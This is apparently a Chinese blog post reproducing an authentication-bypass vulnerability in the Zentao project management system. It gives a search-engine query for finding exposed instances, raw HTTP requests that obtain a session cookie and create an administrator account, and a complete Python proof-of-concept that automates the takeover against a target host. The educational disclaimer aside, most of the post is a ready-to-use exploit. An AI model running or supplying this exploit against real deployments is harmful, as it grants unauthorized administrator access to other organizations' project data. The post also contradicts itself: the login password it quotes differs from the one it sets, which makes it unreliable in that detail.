【漏洞复现】禅道——未授权登入(QVD-2024-15263)

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。


漏洞描述

禅道(Zentao)是一款开源的项目管理和协作软件。禅道项目管理系统中的存在QVD-2024-15263身份认证绕过漏洞。攻击者可利用该漏洞创建任意账号实现未授权登录。

漏洞复现

1)信息收集
fofa:title=“禅道”
2)本地复现
源码下载:https://dl.zentao.net/zentao/18.11/ZenTaoPMS-18.11-php7.0.tar.xz
在这里插入图片描述
3)先构造数据包,获取cookie

GET /zentaopms/www/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
Host:ip

在这里插入图片描述

Set-Cookie: zentaosid=c5gfr88h22f4vv73h4d0b453mv;

4)构造数据包,创建账户

POST /zentaopms/www/api.php/v1/users HTTP/1.1
Host:ip
Cookie: zentaosid=c5gfr88h22f4vv73h4d0b453mv; lang=zh-cn; device=desktop; theme=default

{"account": "longl", "password": "Qwe123", "realname": "longl", "group":"1"}

"group":"1"为管理员分组
在这里插入图片描述

5)登入账号
账号:longl
密码:Qwest23
在这里插入图片描述
成功登入

测试工具

poc

# -*- coding: UTF-8 -*-
# !/usr/bin/python

import requests
import re
from bs4 import BeautifulSoup

def getCookie(host):
    """
    通过发送请求获取Set-Cookie头部信息。
    
    :param host: 目标主机地址
    :return: 获取到的Cookie字符串
    """
    # 构造请求URL,需要根据实际路径进行修改
    url1 = "http://" + host + "/zentaopms/www/"
    url = url1 + "/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=fkazcfyqgknhqdkbpttl&branch=qkkcluybdvfxqngbemmn"
    # 设置请求头部信息
    headers={
        "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language":"zh-CN,zh;q=0.9",
        "Host":host}
    # 发送GET请求并获取响应
    response = requests.get(url,headers=headers)
    # 从响应头部获取Set-Cookie值
    SetCookie = response.headers.get('Set-Cookie')
    return SetCookie

def addUser(SetCookie,host):
    """
    使用给定的Cookie添加新用户。
    
    :param SetCookie: 用于身份验证的Cookie字符串
    :param host: 目标主机地址
    :return: 请求的响应对象
    """
    # 构造添加用户的API请求URL,需要根据实际路径进行修改
    weburl = "http://" + host + "/zentaopms/www/api.php/v1/users"
    # 设置请求头部信息,包括Cookie
    headers = {
        "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language":"zh-CN,zh;q=0.9",
        "Host":host,
        "cookie":SetCookie}
    # 设置请求超时时间
    timeout = 8
    # 设置待添加用户的参数
    # 账号、密码、真实姓名、角色、用户组
    data = {'account': '3213111',
            'password': '123456Qa',
            'realname': '3213111',
            'role': 'top',
            'group': '1'}
    # 发送POST请求添加用户
    res = requests.post(weburl,headers=headers,data=data,timeout=timeout)
    return res

def main():
    """
    主程序入口。
    """
    # 目标Web地址
    weburl = "192.168.2.8"
    host = str(weburl)
    # 获取Cookie
    SetCookie = getCookie(host)
    # 检查是否成功获取Cookie
    if SetCookie == None:
        print("获取Cookie失败,漏洞可能已被修复。\n")
    else:
        # 截取前43个字符,因为实际使用的Cookie可能较长,此处只取前缀
        set_cookies = SetCookie[:43]
        # 使用Cookie添加用户
        res1 = addUser(set_cookies,host)
        # 检查用户添加是否成功
        if str(res1.status_code) == "400":
            print("账号可能已存在,请尝试更换用户名。\n")
        else:
            print("账号已生成。")

if __name__ == '__main__':
    main()

运行截图
在这里插入图片描述
使用生成的账号进行登入即可。


冬天之所以那么冷是为了告诉大家身边人的温暖有多重要。

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值